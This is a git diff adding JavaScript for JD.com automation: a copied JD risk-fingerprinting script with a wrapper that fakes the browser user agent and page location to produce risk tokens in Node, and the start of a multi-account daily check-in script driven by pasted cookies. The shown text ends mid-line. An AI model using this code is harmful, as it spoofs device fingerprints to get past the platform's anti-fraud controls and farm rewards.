_JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/JD_DailyBonus.js b/utils/JD_DailyBonus.js new file mode 100644 index 0000000..19db850 --- /dev/null +++ b/utils/JD_DailyBonus.js @@ -0,0 +1,1950 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '', md5 + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'), //京东PLUS + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 